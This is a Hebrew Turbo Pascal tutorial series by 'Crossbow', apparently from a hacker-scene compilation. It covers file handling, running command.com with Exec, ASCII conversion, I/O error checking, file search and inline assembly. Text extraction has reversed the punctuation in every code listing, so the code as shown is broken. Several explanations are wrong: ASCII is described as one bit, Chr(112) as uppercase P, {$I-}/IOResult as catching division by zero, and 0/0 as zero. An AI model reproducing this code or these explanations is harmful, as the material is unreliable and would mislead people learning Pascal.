‫טוב‪ ,‬הנה הקוד ליצירת קובץ (קונטרול ושיפט)‪:‬‬

‫‪VAR‬‬
‫‪;NewFile: text‬‬
‫‪BEGIN‬‬
‫‪;)'Assign (NewFile, 'C:\NewFile.txt‬‬
‫‪;)Rewrite (NewFile‬‬
‫‪;)Close (NewFile‬‬
‫‪.END‬‬

‫הסברים‬

‫‪ :NewFile: text‬משתנה שיהווה את הקובץ‪.‬‬


‫‪ :Assign‬פקודה שמכניסה את המעבר המלא של הקובץ לתוך משתנה‪.‬‬
‫‪ :Rewrite‬יוצר את הקובץ ופותח אותו‪.‬‬
‫‪ :Close‬סוגר קובץ פתוח‪.‬‬

‫‪544‬‬
‫קצת על פקודות של קבצים‬

‫פקודות ששולטות בקבצים בשפת פסקל‪ ,‬יכולות לשלוט רק על ידי הכנסת משתנה‪.‬‬
‫לדוגמא‪ ,‬אתה לא יכול לפתוח את ‪ ,C:\Autoexec.bat‬אלא אתה יכול רק לפתוח‬
‫משתנה‪ .‬אז מה עושים? בשביל זה נוצרה הפקודה ‪ ,Assign‬שתפקידה להפוך את‬
‫המשתנה לקובץ‪ .‬הפקודה ‪ Assign‬בנויה משני חלקים‪ :‬המשתנה שייהפך לקובץ‪,‬‬
‫והמעבר המלא של הקובץ שבו אנחנו רוצים לשלוט‪.‬‬

‫פתיחת קובץ‪ ,‬סגירת קובץ וכתיבה לקובץ‬

‫טוב‪ ,‬אתם תצטרכו את הקובץ שיצרנו מקודם‪ .‬זה הולך ככה (קונטרול ושיפט)‪:‬‬

‫‪VAR‬‬
‫‪;CoolFile: text‬‬
‫‪BEGIN‬‬
‫‪;)'Assign (CoolFile, 'C:\NewFile.txt‬‬
‫‪;)Reset (CoolFile‬‬
‫‪;)'WriteLn (CoolFile, 'Ok, This is my text‬‬
‫‪;)Close (CoolFile‬‬
‫‪.END‬‬

‫הסברים‬

‫‪ :CoolFile: text‬משתנה שיהווה קובץ‪.‬‬


‫‪ :Assign‬הגדרת המשתנה לקובץ שיצרנו מקודם‪.‬‬
‫‪ :Reset‬פותח את הקובץ‪.‬‬
‫‪ :WriteLn‬שימוש בכתיבה‪ .‬צריך לציין את המשתנה של הקובץ‪ ,‬ואז את הטקסט‪.‬‬
‫‪ :Close‬סוגר את הקובץ‪.‬‬

‫קריאה מתוך קובץ‬

‫אוקי‪ ,‬עכשיו נוציא מקובץ את הטקסט שבתוכו לפלט על המסך‪ .‬אז תלחצו קונטרול‬
‫ושיפט‪ ,‬כדי להבין‪ .‬אתם תצטרכו שוב את הקובץ ממקודם‪:‬‬

‫‪VAR‬‬
‫‪;FileX: text‬‬
‫‪;FileText: string‬‬
‫‪BEGIN‬‬
‫‪;)'Assign (FileX, 'C:\NewFile.txt‬‬
‫‪;)Reset (FileX‬‬
‫‪;)ReadLn (FileX, FileText‬‬
‫‪;)Close (FileX‬‬
‫‪;)WriteLn (FileText‬‬
‫‪.END‬‬

‫הסברים‬

‫‪545‬‬
‫‪ :FileX: text‬משתנה שיהווה את הקובץ ממקודם‪.‬‬
‫‪ :FileText: string‬משתנה שיהווה את הטקסט בתוך הקובץ‪.‬‬
‫‪ :ReadLn‬קורא שורה מהקובץ ומכניס אותה למשתנה‪.‬‬
‫‪ :WriteLn‬כותב את השורה‪ ,‬אחרי שהקובץ נסגר‪.‬‬

‫הרצת קובץ‬

‫טוב‪ ,‬זה ממש ממש קל‪ .‬פה נשתמש בקובץ חיצוני‪ .Dos.tpu ,‬לחצו על קונטרול‬
‫ושיפט כדי לקלוט‪:‬‬

‫{‪} M $4000,0,0 } {16K stack, no heap$‬‬


‫‪;USES Dos‬‬
‫‪BEGIN‬‬
‫‪;SwapVectors‬‬
‫‪;)'ExeC ('C:\Command.com', 'Start‬‬
‫‪;SwapVectors‬‬
‫‪.END‬‬

‫הסברים‬

‫{‪ :} M $4000,0,0 } {16K stack, no heap$‬הגדרות זיכרון‪ .‬הכרחי לכתוב‪.‬‬


‫‪ :USES Dos‬שימוש בקובץ ‪ ,Dos.tpu‬קובץ חיצוני‪.‬‬
‫‪ :SwapVectors‬מפנה מקום לזיכרון מורחב‪ .‬כותבים לפני ואחרי ההרצה‪.‬‬
‫‪ :ExeC‬הצהרה על הרצה‪ .‬קודם כותבים את הקובץ‪ ,‬ואז את פקודת ההרצה‪.‬‬

‫שימוש באסקיי‬

‫אסקיי‪ ,‬למי שלא יודע‪ ,‬הוא תבנית סידורית לתו ששוקל ביט אחד‪ .‬לדוגמא‪ ,‬ערך‬
‫האסקיי של הסמל © הוא ‪ .169‬לפי זה‪ ,‬אפשר להבין שכאשר אנחנו משתמשים בקוד‬
‫אסקיי‪ ,‬יהיו לנו שתי פקודות‪ :‬להפוך מספר למסל‪ ,‬ולהפוך סמל למספר‪.‬‬

‫להפוך מספר לסמל‬

‫טוב‪ ,‬הפקודה עצמה דומה מאוד לשפות תיכנות אחרות‪ .‬תלחצו על קונטרול ושיפט‪,‬‬
‫ואז תנסו להבין‪:‬‬

‫‪BEGIN‬‬
‫‪;))WriteLn (Chr(112‬‬
‫‪.END‬‬

‫הסבר‬

‫‪ :Chr‬הופך מספר לסמל‪ .‬פה מה שייכתב יהיה האות פי האנגלית ‪.P‬‬


‫‪ :112‬הקוד של האות האנגלית פי‪.‬‬

‫להפוך סמל למספר‬

‫טוב‪ ,‬תלחצו קונטרול ושיפט‪:‬‬

‫‪BEGIN‬‬
‫‪;))'WriteLn (Ord('p‬‬

‫‪546‬‬
‫‪.END‬‬

‫הסבר‬

‫‪ :ORD‬הופך סמל למספר‪ .‬פה מה שייכתב יהיה המספר ‪.112‬‬


‫'‪ :'p‬האות שתהפך למספר‪.‬‬

‫טוב‪ ,‬פה אנחנו נפרדים‬

‫טוב‪ ,‬אם הגעתם עד לפה‪ ,‬והצלחתם הכל‪ ,‬והכי חשוב ‪ -‬הבנתם הכל (!)‪ ,‬אתם כבר‬
‫בטח מתים מכאב ראש כמו מיגרנה ענקית על הבוקר‪ ,‬פסקל יצא לכם מכל החורים‬
‫בגוף‪ ,‬כולל החורים בין הרגליים‪ ,‬אבל אין מה לעשות‪ ,‬תיכנות יכול להיות‬
‫סבבה‪ ,‬אבל הוא גם לא קל כל כך‪ ...‬הכתבה הזאת‪ ,‬מוקדשת בענק לפטשר‪ ,‬שבגלל‬
‫סיבה כלשהי לא נשמע ממנו הרבה זמן‪ ,‬ופטשר‪ ,‬אם אתה קורא את זה עכשיו‪ ,‬אז‬
‫היה סבבה איתך‪ ,‬ותשמור על עצמך אחי‪ ...‬הכתבה הזאת כמובן שייכת רק רק לי‪,‬‬
‫אין לאף אחד זכות לגנוב‪ ,‬במיוחד לא לליימרים שלא יודעים לתכנת‪ ,‬ואני שונא‬
‫סופים עצובים‪ ...‬אה כן‪ ,‬שכחתי דבר אחד‪ :‬תלחצו קונטרול ושיפט‪ ...‬סתאאאם!!!‬
‫אז יאללה‪ ,‬כל מי שרוצה לדבר איתי על תיכנות וכאלה‪ ,‬למי שבאמת צריך עזרה‪,‬‬
‫יכול לתפוס אותי באי מייל או אייסיקיו‪ ,‬ואני מקווה שתסתדרו‪ ...‬טוב‪ ,‬אז‬
‫אוהב את כולכם‪ ,‬אחים שלי‪,‬‬

‫‪Crossbow‬‬

‫‪547‬‬
‫שגיעות בפסקל‬
‫טוב‪ ,‬אני מקווה שקראתם את הכתבה הקודמת על השגיאות בפסקל‪ ,‬כי היום אנחנו‬
‫נסתמך קצת על ידע קודם‪ .‬היום אנחנו נעבוד על תוצאת קלט ‪ -‬פלט‪ .‬עכשיו‪ ,‬מה‬
‫זה קלט ופלט? קלט זה מה שהמחשב מקבל‪ .‬לדוגמא‪ ,‬בתוכנית פסקל אנחנו נותנים‬
‫למשתמש ללחוץ על מקש‪ .‬הלחיצה על המקש היא הקלט (במקרה שהגדרנו משתנה‬
‫כלשהו שיקלוט את הלחיצה‪ ,‬אם לא אז הקלט הוא אפס‪ ,‬ובעצם "נזרק" מהזכרון)‪.‬‬
‫הנה דוגמא לקלט אופייני בתוכנית פסקל (לחצו על קונטרול ושיפט)‪:‬‬

‫‪;PROGRAM CoolInput‬‬
‫‪;USES Crt‬‬
‫‪;VAR CoolCh:char‬‬
‫‪BEGIN‬‬
‫‪;CoolCh := ReadKey‬‬
‫‪.END‬‬

‫הקלט הוא בדרך כלל משתנה לא קבוע‪ .‬גם בתוכנית הזאת‪ ,‬הקלט הוא משתנה שכמו‬
‫שהוא נקרא ‪ -‬משתנה‪ .‬הוא יכול להיות מקש ‪ ,A‬או מקש ‪ ,B‬או מקש ‪ .C‬יש מבין?‬
‫עכשיו‪ ,‬בואו נעבור לפלט‪ .‬פלט הוא מה שהמשתמש כן רואה‪ .‬הנה תוכנית פשוטה‬
‫מאוד מאוד מאוד בפסקל שנותנת פלט סטנדרטי לא משתנה (קונטרול ושיפט)‪:‬‬

‫‪;PROGRAM CoolOutput‬‬
‫‪BEGIN‬‬
‫‪;)'.WriteLn ('Ok, This is the standard output‬‬
‫‪.END‬‬

‫פה הפלט הוא לא משתנה‪ ,‬הוא טקסטואלי‪ ,‬הוא קבוע‪ ,‬הוא כבר נמצא בתוך הקוד‬
‫מקור עצמו‪ .‬אפשר גם לעשות פלט משתנה שבעצם נגזר מקלט משתנה‪ .‬הנה דוגמא‬
‫לקלט סטנדרטי משתנה (קונטרול ושיפט)‪:‬‬

‫‪;PROGRAM CoolOutput‬‬
‫‪;USES Crt‬‬
‫‪;VAR CoolCh:char‬‬
‫‪BEGIN‬‬
‫‪;CoolCh := ReadKey‬‬
‫‪;)WriteLn ('You pressed ', CoolCh‬‬
‫‪.END‬‬

‫‪548‬‬
‫הסבר‬

‫פה יש לנו קלט (משתנה‪ ,‬שיהיה המקש שעליו לחץ המשתמש)‪ ,‬ושני סוגי פלט‪ ,‬לא‬
‫משתנה ואחריו משתנה‪ ,‬באותה שורה‪ .‬מה שהתוכנית הקטנה הזאת עושה הוא פשוט‬
‫להכניס לתוך משתנה את המקש שנלחץ‪ ,‬להציג את הפלט ‪ ,You pressed‬ואחריו‬
‫לכתוב פלט משתנה (את המשתנה בצורה טקסטואלית)‪.‬‬

‫אז בואו נניח שיש לנו שגיאה מסויימת של קלט או פלט‪ .‬הנה תוכנית פשוטה‬
‫שמחזירה שגיאה מספר ‪( 200‬השגיאה האהובה עליי‪ :‬חילוק באפס)‪ .‬טוב‪ ,‬כמובן‬
‫תלחצו על קונטרול ושיפט‪:‬‬

‫‪;PROGRAM DivideZiro‬‬
‫‪;VAR X, Y:shortint‬‬
‫‪BEGIN‬‬
‫‪;X := 7‬‬
‫‪;Y := 0‬‬
‫‪;)WriteLn (X / Y‬‬
‫‪.END‬‬

‫אם תנסו להריץ תגיעו לשגיאה‪ .‬אז‪ ,‬איך נפתרים ממנה? פשוט מאוד!!! אנחנו‬
‫נפעיל משהו שנקרא ‪( I / O Checking System‬מערכת בדיקה קלט \ פלט)‪ ,‬שבעצם‬
‫מזהה מצב של שגיאה‪ .‬עכשיו‪ ,‬כל שגיאה מיוצגת במספר מסויים‪ .‬במערכת בדיקת‬
‫קלט \ פלט המספר אפס הוא אין שגיאה‪ .‬כל מספר ששונה מאפס הוא שגיאה‪ .‬טוב‪,‬‬
‫אתם בטח מכירים את התזכורת בפסקל‪ .‬תזכורת‪ ,‬למי שלא זוכר‪ ,‬זה בעצם מילים‬
‫בקוד מקור שאין להם ערך של קוד‪ ,‬יעני‪ ,‬הקומפיילר (מהדר) מתעלם מהם‪ .‬אז‪,‬‬
‫למה זה טוב? זה טוב בעיקר להזכיר למתכנת ולכל האנשים שאמורים לקרוא את‬
‫הקוד מקור מה זה עושה‪ ,‬בקיצר‪ ,‬במילה אחת‪ ,‬תיזכורות‪ .‬כל תזכורת בפסקל תהיה‬
‫בין גרשיים מסולסלות כאלה {}‪ .‬אם אתם משתמשים בעורך בתצורת אם אס דוס של‬
‫טורבו פסקל שבע כמוני‪ ,‬אתם תראו את כל התזכורות בצבע אפור כהה‪ .‬עכשיו‪ ,‬רק‬
‫שתדעו‪ ,‬יש טקסטים בפסקל שנכתבים כמו תזכורות‪ ,‬אבל הקומפיילר לא מתעלם מהם‬
‫אלא מקמפל אותם‪ .‬בדרך כלל זה הגדרות שימוש בזכרון גבוה ונמוך‪ .‬פה זה יהיה‬
‫הפעלת בדיקת הקלט \ פלט (תלחצו על קונטרול ושיפט)‪:‬‬

‫‪;PROGRAM DivideZiro‬‬
‫‪;VAR X, Y:shortint‬‬
‫‪BEGIN‬‬
‫‪;X := 7‬‬
‫‪;Y := 0‬‬
‫{‪}-I$‬‬
‫‪;)WriteLn (X / Y‬‬
‫{‪}+I$‬‬
‫‪IF IOResult <> 0 THEN‬‬
‫‪BEGIN‬‬
‫‪;)'.WriteLn ('An error has occured‬‬
‫‪;Exit‬‬
‫‪;END‬‬
‫‪.END‬‬

‫‪549‬‬
‫הסבר‬

‫טוב‪ ,‬פה יש לנו את אותו הקוד של התוכנית מקודם‪ ,‬אבל עם שיפורים משמעותיים‬
‫לאללה‪ .‬פה אני אסביר את הכל בבת אחת‪ ,‬ואחר כך שורה אחר שורה‪ .‬טוב‪ ,‬בת'כלס‬
‫התוכנית יוצרת שני משתנים‪ ,‬אחד מהם הוא שבע והשני אפס‪ .‬לאחר ההגדרה של‬
‫המשתנים אנחנו מפעילים את הבדיקה של הקלט \ פלט‪ .‬אחרי זה התוכנית מנסה‬
‫לכתוב את התוצאה של חילוק המשתנים אחד בשני (תוצאה לא הגיונית מבחינה‬
‫מספרית)‪ ,‬אחרי הנסיון (שהתוכנית לא תציג על המסך אותו‪ ,‬כי הוא שגיאה)‪ ,‬יש‬
‫לנו סגירה של הבדיקת קלט \ פלט‪ .‬אחרי זה‪ ,‬יש לנו שורה‪ ,‬שאומרת "אם תוצאת‬
‫הבדיקת קלט \ פלט היא לא אפס‪ ,‬אז‪ ,"...‬ואחרי זה יש לנו שורת טקסט שאומרת‬
‫למשתמש ששגיאה נמצאה‪ ,‬ואחרי זה יציאה מהתוכנית‪ .‬וזהו‪ .‬כל פעם בעצם שאנחנו‬
‫פותחים מחדש את הבדיקת קלט \ פלט‪ ,‬התוצאה מתאפסת באופן אוטומטי‪ .‬זה בעצם‬
‫מאפשר שימוש רב פעמי בבדיקת קלט \ פלט‪ ,‬מכיוון שאת התוצאה אפשר לכוון רק‬
‫באופן לא ישיר‪ ,‬יעני‪ ,‬אי אפשר לכתוב לו ‪ IOResult := 0‬והוא יקבל את זה‪.‬‬
‫עכשיו‪ ,‬אני יודע שזה לא התפקיד שלי להיות מורה למתימטיקה‪ ,‬אבל אני רוצה‬
‫לעשות הסבר אחרון של "למה חילוק באפס לא חוקי"‪ .‬אחרי ההסבר יש לי מסר‬
‫חשוב לאללה לכל מי שרוצה אי פעם להיות האקר אמיתי‪ ,‬מקצוען‪.‬‬

‫אז למה אסור לי לחלק באפס?‬

‫חוץ מזה שזה באמת מטומטם לחלק באפס מבחינה לוגית‪ ,‬יש לזה הסבר אלגברי‪.‬‬
‫ההסבר הוא‪ ,‬כזה‪ .‬אם שלוש כפול שתיים הם שש‪ ,‬אז נכון שש לחלק לשלוש זה‬
‫שתיים וגם שש לחלק לשתיים זה שלוש? והפוך? עכשיו‪ ,‬נסו לעשות את זה עם אפס‬
‫ותראו מה קורה‪ .‬אם אפס לחלק שש הם מספר כלשהו‪ ,‬נקרא לו איקס‪ ,‬אז איקס‬
‫כפול אפס זה שש? או איקס כפול שש זה אפס? אפשר להראות אז זה בתבניות‪ ,‬זה‬
‫הכי קל ככה (קונטרול ושיפט)‪:‬‬

‫‪)Right( 6 = 2 * 3 >--- 2 = 3 / 6 >--- 3 = 2 / 6‬‬


‫‪)X ---> 0 / X = 6 ---> X * 6 = 0 (Wrong = 6 / 0‬‬
‫‪)Maybe( 0 = 0 * 0 >--- 0 = 0 / 0 >--- 0 = 0 / 0‬‬

‫הבנתם? אז דרך אגב‪ ,‬מבחינה לוגית אפס חלקי אפס זה כן אפס‪ ,‬ועל זה אני כל‬
‫הזמן מתווכח עם כל מורה לאלגברה שקיים‪ .‬עכשיו‪ ,‬הנה המסר החשוב שיש לי‪:‬‬
‫פיזיקה לא תעזור לכם בהאקינג (אולי פיזיקת חשמל)‪ .‬כימיה בכלל לא תעזור‬
‫לכם‪ ,‬תנ"ך או לשון בכלל בכלל לא‪ .‬אבל מתימטיקה כן תעזור לכם בהאקינג‪ .‬רק‬
‫שתדעו‪ ,‬האקרים טובים בדרך כלל גם יודעים מתימטיקה די טוב‪ .‬אז יאללה‪ ,‬אני‬
‫מקווה שתעכלו את כל זה‪ ,‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫‪550‬‬
‫שימוש מתקדם ב ‪TORBO PASCAL‬‬
‫היום נעבוד על שימוש מתקדם בפסקל‪ .‬מה זה אומר? זה אומר שנבין יותר את‬
‫המבנה של קבצים ותיקיות‪ .‬זה אומר שעכשיו יהיו לנו יותר כלים ואפשרויות‬
‫לתכנת את התוכניות שלנו‪ .‬אבל‪ ,‬זה גם אומר שנצטרך לעבוד קשה יותר ולהשקיע‬
‫יותר‪ .‬אני מקווה שיש לכם ידע קודם בפסקל‪ ,‬כי תצטרכו אותו כאן‪.‬‬

‫אז מה יהיה במאמר הזה‬

‫טוב‪ ,‬במאמר הזה יהיו כמה נושאים חשובים‪ :‬שימוש בחיפוש של קבצים‪ ,‬השוואה‬
‫בין ‪ Dos.tpu‬לבין ‪ ,WinDos.tpu‬שילוב של שפת אסמבלי בתוך פסקל‪ ,‬שינוי מצב‬
‫המסך ובניית קבצים חיצוניים לשימושים אישיים‪ .‬טוב‪ ,‬בואו נתחיל!!!‬

‫שימוש בחיפוש קבצים‬

‫השימוש בחיפוש קבצים מצריך שימוש בסוג משתנה חדש בפסקל‪ .‬עד עכשיו‪ ,‬אנחנו‬
‫השתמשנו במשתנים מספריים‪ ,‬משתנים טקסטואליים וגם במשתנים לוגיים‪ .‬כאן אני‬
‫אדגים שימוש בחיפוש קבצים על ידי שני קבצים חיצוניים‪ :‬אחד מהם הוא הקובץ‬
‫החיצוני ‪ Dos.tpu‬והשני שנשתמש בו הוא ‪ .WinDos.tpu‬כל אחד מהקבצים האלה‬
‫יכול להיות משומש בנפרד‪ ,‬מכיוון שהקובץ ‪ WinDos.tpu‬הוא פשוט גרסא יותר‬
‫חדישה לקובץ ‪ ...Dos.tpu‬אבל אני אדגים בשניהם‪ ,‬ואתם תבחרו בעצמכם מה יותר‬
‫קל ונוח‪ ,‬ובאיזה קובץ נשתמש‪ .‬הנה קוד ראשון של חיפוש קבצים והצגתם‪ ,‬על‬
‫בסיס ‪( Dos.tpu‬הבסיס הישן יותר)‪:‬‬

‫‪;USES Dos‬‬
‫‪;VAR VarX:PathStr‬‬
‫‪BEGIN‬‬
‫‪;)'\:VarX := FSearch ('*.*', 'C‬‬
‫‪;))WriteLn (FExpand (VarX‬‬
‫‪.END‬‬

‫הסברים‬

‫טוב‪ ,‬הרוב צריך להיות מוכר לכם‪ ,‬אבל למרות זאת‪ ,‬בתוכנית הזאת בלבד אני‬
‫אסביר את כל השורות‪ ,‬בתור חזרה קצרה‪ .‬השורה הראשונה ברורה‪ :‬היא מכריזה על‬
‫שימוש בקובץ ‪ .Dos.tpu‬השורה השנייה מכריזה על משתנה ‪ .VarX‬סוג המשתנה הוא‬
‫‪ ,PathStr‬והוא סוג משתנה חדש שמציין מחרוזת שהיא מיקום מסויים בתוך הכונן‬
‫שלנו‪ .‬שורה שלישית מתחילה את גוף התוכנית‪ .‬שורה רביעית משתמשת בפונקצייה‬
‫חדשה שנקראת ‪ .FSearch‬הארגומנטים כאן ברורים‪ :‬הארגומנט הראשון הוא לקבלת‬
‫שם הקובץ שיש לחפש‪ ,‬והארגומנט השני הוא לקבלת המיקום הנוכחי‪ .‬השורה‬
‫החמישית מציגה את המשתנה ‪ VarX‬תוך שימוש בפונקציית ‪ .FExpand‬הרעיון של‬
‫‪ FExpand‬הוא להציג את המיקום והשם המלא של הקובץ‪ .‬טוב‪ ,‬זה היה שימוש קצר‬
‫בקובץ ‪ ,Dos.tpu‬ועכשיו נעבור לקובץ השני‪ ,‬שהוא ‪ .WinDos.tpu‬בכל הנוגע‬
‫לחיפוש קבצים אני ממליץ על הקובץ ‪ ,WinDos.tpu‬ועוד מעט תבינו למה‪.‬‬
‫הנה קוד המקור של חיפוש קבצים על בסיס ‪:WinDos.tpu‬‬

‫‪551‬‬
‫‪;USES WinDos‬‬
‫‪;VAR VarX:TSearchRec‬‬
‫‪BEGIN‬‬
‫‪;)FindFirst ('*.*', faDirectory + faArchive, VarX‬‬
‫‪WHILE DosError = 0 DO‬‬
‫‪BEGIN‬‬
‫‪;)Write ('Name: ', VarX.Name‬‬
‫‪;)Write (' Attribute: ', VarX.Attr‬‬
‫‪;)Write (' Size: ', VarX.Size‬‬
‫‪;)WriteLn (' Time: ', VarX.Time‬‬
‫‪;)FindNext (VarX‬‬
‫‪;END‬‬
‫‪.END‬‬

‫הסברים‬

‫אוקיי‪ ,‬השורה הראשונה היא כמובן הצהרה על שימוש בקובץ ‪ .WinDos.tpu‬בשורה‬


‫השנייה יש לנו הצהרה על משתנה חדש בשם ‪ VarX‬מסוג ‪ .TSearchRec‬עכשיו‪,‬‬
‫‪ TSearchRec‬הוא סוג חדש (‪ ,)Type‬שנמצא כבר בתוך הקובץ ‪ .WinDos.tpu‬עוד‬
‫הסברים עליו יהיו בהמשך‪ .‬אחרי זה אנחנו מוציאים פלט של מאפייני הקובץ‬
‫(שמו של הקובץ‪ ,‬מאפיין השימוש שלו‪ ,‬גודלו והזמן שלו)‪ .‬לאחר מכן אנחנו‬
‫נעשה שימוש בפונקציית ‪ .FindNext‬עכשיו אני אסביר משהו‪ :‬הקריאה של‬
‫‪ FindFirst‬היא קריאה שמקבלת שלושה ארגומנטים‪ :‬שם הקובץ‪ ,‬מאפיין פתיחת‬
‫הקובץ ולבסוף גם המשתנה שאליו יעבור המידע‪ .‬עכשיו‪ ,‬הקריאה ‪ FindNext‬זורקת‬
‫את המידע שבמשתנה‪ ,‬ובמקום אותו מידע אוספת מידע חדש על הקובץ הבא ברשימה‪.‬‬
‫כל עוד יש קובץ חדש ברשימה‪ ,‬לא תהיה שגיאה‪ ,‬או בשפת פסקל‪ ,‬הקוד יהיה שכל‬
‫עוד ‪ DosError = 0‬אז נמשיך את הלולאה‪ .‬ברגע שתעלה לנו שגיאה (שתגיד לנו‬
‫שנגמרה הרשימה ואין לאיפה להמשיך)‪ ,‬הלולאה תפסק‪ .‬עכשיו אני יכול להסביר‬
‫על השימוש במשתנה ‪ ,TSearchRec‬ובסוף אני אציג את כל הייתרונות והחסרונות‬
‫של כל אחד מהשיטות למציאת קבצים שהצגתי כאן‪ .‬טוב‪ ,‬עכשיו‪ ,‬הנה קוד המקור‬
‫של סוג המשתנה ‪:TSearchRec‬‬

‫‪TYPE‬‬
‫‪TSearchRec = RECORD‬‬
‫‪;Fill:array[1..21] of byte‬‬
‫‪;Attr:byte‬‬
‫‪;Time:longint‬‬
‫‪;Size:longint‬‬
‫‪;Name:array[0..12] of char‬‬
‫‪;END‬‬

‫‪552‬‬
‫הסברים‬

‫כמו שאתם רואים‪ ,‬אנחנו משתמשים במילה ‪ Record‬לשם קליטה של אינפורמצייה‬


‫וסיווג שלה במאפיינים‪ .‬מי שיודע ג'אווה יכול לראות פה קשר מאוד הדוק‬
‫לג'אווה‪ :‬השימוש במילה ‪ Record‬דומה מאוד לשימוש במחלקות בג'אווה‪ :‬אנחנו‬
‫מקבלים מידע כלשהו ומסווגים אותו לפי קריטריונים מסויימים‪ .‬הקריטריונים‬
‫האלו הם משתנים שאנחנו יצרנו‪ .‬עכשיו‪ ,‬המשתנה ‪ Name‬מציג את השם של הקובץ‪.‬‬
‫המשתנה ‪ Size‬מציג את הגודל שלו בבייטים (בתים)‪ ,‬המשתנה ‪ Time‬מציג את הזמן‬
‫שבו הוא נוצר‪ .‬המשתנה ‪ Attr‬מציג את סוג מאפיין הפתיחה (‪ )Attribute‬שלו‪.‬‬
‫המשתנה ‪ Fill‬משומש על ידי מערכת ‪ ,Dos‬וחשוב מאוד לא לגעת בו‪ .‬כמעט ואין‬
‫תיעוד על משתנה ‪ Fill‬ועל איך ‪ Dos‬משתמשת בו‪ .‬כאשר אנחנו רוצים לגשת אל‬
‫מאפיין מסויים של קובץ‪ ,‬נכתוב את המשתנה‪ ,‬אחריו נקודה ואחריו שם המאפיין‪.‬‬
‫לדוגמא‪ ,‬אם המשתנה שלנו בתוכנית מקודם היה ‪ ,VarX‬ואנחנו רצינו לגשת לשם‬
‫של הקובץ‪ ,‬נכתוב בתוך הקוד שלנו‪...VarX.Name :‬‬

‫יתרונות וחסרונות‬

‫טוב‪ ,‬הקובץ ‪ Dos.tpu‬מסורבל הרבה יותר מבחינת מציאת קובץ‪ .‬ישנם מחשבים‬
‫ששימוש בפונקציית ‪ FSearch‬לא עובדת אצליהם כמו שצריך‪ ,‬או שמלווה בשגיאות‪.‬‬
‫לעומת זאת‪ ,‬בקובץ ‪ WinDos.tpu‬יש לנו סיווג יפה של כל קובץ‪ ,‬הכל מסודר‪.‬‬
‫החסרון הגדול של ‪ FindFirst‬ושל ‪ FindNext‬הוא שהמידע נמחק כל פעם שיש לנו‬
‫קריאה לפונקציית ‪ .FindNext‬למרות זאת‪ ,‬הכנתי לכם כאן קוד קצר ששומר את‬
‫המאפיינים של כל קובץ בתוך הזיכרון‪:‬‬

‫‪;USES WinDos‬‬
‫‪VAR‬‬
‫‪;VarX:TSearchRec‬‬
‫‪;VarY:integer‬‬
‫‪;]FName:array[1..500] of string[13‬‬
‫‪;]FAttr:array[1..500] of string[11‬‬
‫‪;FSize:array[1..500] of longint‬‬
‫‪;FTime:array[1..500] of longint‬‬
‫‪BEGIN‬‬
‫‪;VarY := 1‬‬
‫‪;)FindFirst ('*.*', faDirectory + faArchive, VarX‬‬
‫‪WHILE DosError = 0 DO‬‬
‫‪BEGIN‬‬
‫‪;)Write ('Name: ', VarX.Name‬‬
‫‪;)Write (' Attribute: ', VarX.Attr‬‬
‫‪;)Write (' Size: ', VarX.Size‬‬
‫‪;)WriteLn (' Time: ', VarX.Time‬‬
‫‪;FName[VarY] := VarX.Name‬‬
‫‪;FAttr[VarY] := VarX.Attr‬‬
‫‪;FSize[VarY] := VarX.Size‬‬
‫‪;FTime[VarY] := VarX.Time‬‬
‫‪;)Inc (VarY‬‬
‫‪;)FindNext (VarX‬‬
‫‪;END‬‬

‫‪553‬‬
‫‪.END‬‬

‫שימוש במאפיין פתיחה של קובץ‬

‫דבר אחרון שרציתי להראות לפני שנעבור לשפת אסמבלי בפסקל‪ ,‬הוא השימוש‬
‫במאפיין פתיחה של קבצים‪ ,‬שידוע גם בשפה האנגלית בשם ‪ .Attribute‬עכשיו‪,‬‬
‫ישנם כמה סוגי ‪ ,Attribute‬יש כאלה שיש בהם שימוש בפסקל אבל לא בתוך מערכת‬
‫‪ .Dos‬הנה כל סוגי מאפייני הקובץ על פי שפת פסקל‪:‬‬

‫‪faArchive‬‬

‫קובץ רגיל‪ ,‬עם שימוש רגיל‪ .‬נקרא גם בשם ארכיון בעברית‪.‬‬

‫‪faHidden‬‬

‫קובץ חבוי מעיני המשתמש‪ ,‬ידוע בשם מוסתר בעברית‪ .‬קובץ מוסתר בפסקל מציין‬
‫גם קבצי מערכת (שבדרך כלל גם מוחבאים מעיני המשתמש הרגיל)‪.‬‬

‫‪faDirectory‬‬

‫זה לא קובץ‪ ,‬אלא תיקייה‪ .‬כאשר אנחנו משתמשים בחיפוש קבצים בפסקל‪ ,‬הוא‬
‫מתייחס גם לתיקיות כאל קבצים‪ ,‬ולכן יצרו מאפיין מיוחד שנקרא ‪,Directory‬‬
‫יעני תיקייה או ספרייה‪.‬‬

‫‪faReadOnly‬‬

‫קובץ קריאה בלבד‪ ,‬יעני‪ ,‬אי אפשר לכתוב עליו אלא רק לקרוא אותו‪.‬‬

‫שימוש באסמבלי בתוך פסקל‬

‫כן‪ ,‬לכל אוהבי האסמבלי‪ ,‬גם זה יכול להיות משומש בתוך פסקל‪ .‬כל מה שצריך‬
‫לעשות זה קריאה לאסמבלי‪ .‬הנה דוגמא לקוד מקור שעושה שימוש באסמבלי‪:‬‬

‫‪BEGIN‬‬
‫‪ASM‬‬
‫‪;MOV Ax, 5‬‬
‫‪;ADD Ax, 3‬‬
‫‪;END‬‬
‫‪.END‬‬

‫הסברים‬

‫טוב‪ ,‬אין הרבה מה להסביר‪ .‬מיש שמבין קצת קצת קצת באסמבלי‪ ,‬יודע שהגדרנו‬
‫את האוגר ‪ Ax‬את הערך ‪ ,5‬ואז הוספנו ‪ .3‬יעני‪ ,‬בסוף התוכנית‪ ,‬ערכו של אוגר‬
‫‪ Ax‬הוא ‪ .8‬מי שמתעניין באסמבלי וחושב שפסקל הוא קצת חלש מדי בשבילו‪ ,‬יכול‬
‫עכשיו להנות משילוב של שתי שפות לקומפיילר אחד‪ :‬פסקל שהיא שפה עילית‪,‬‬
‫ואסמבלי שהיא שפת סף‪ .‬עוד דבר חשוב זה העובדה שלפסקל יש ‪ ,Debugger‬יעני‪,‬‬
‫אם הוא רואה קוד שהוא לא מבין‪ ,‬הוא מפסיק את הפעולה של התוכנית‪ ,‬וזה תקף‬
‫גם לגבי קוד משולב באסמבלי וגם לגבי קוד רגיל בפסקל‪.‬‬

‫‪554‬‬
‫שימוש בגודל טקסט ומסך שונים‬

‫כן‪ ,‬מקטע מאוד טכני כמו אסמבלי אנחנו עוברים ישר לקטע היותר גרפי‪ .‬עכשיו‪,‬‬
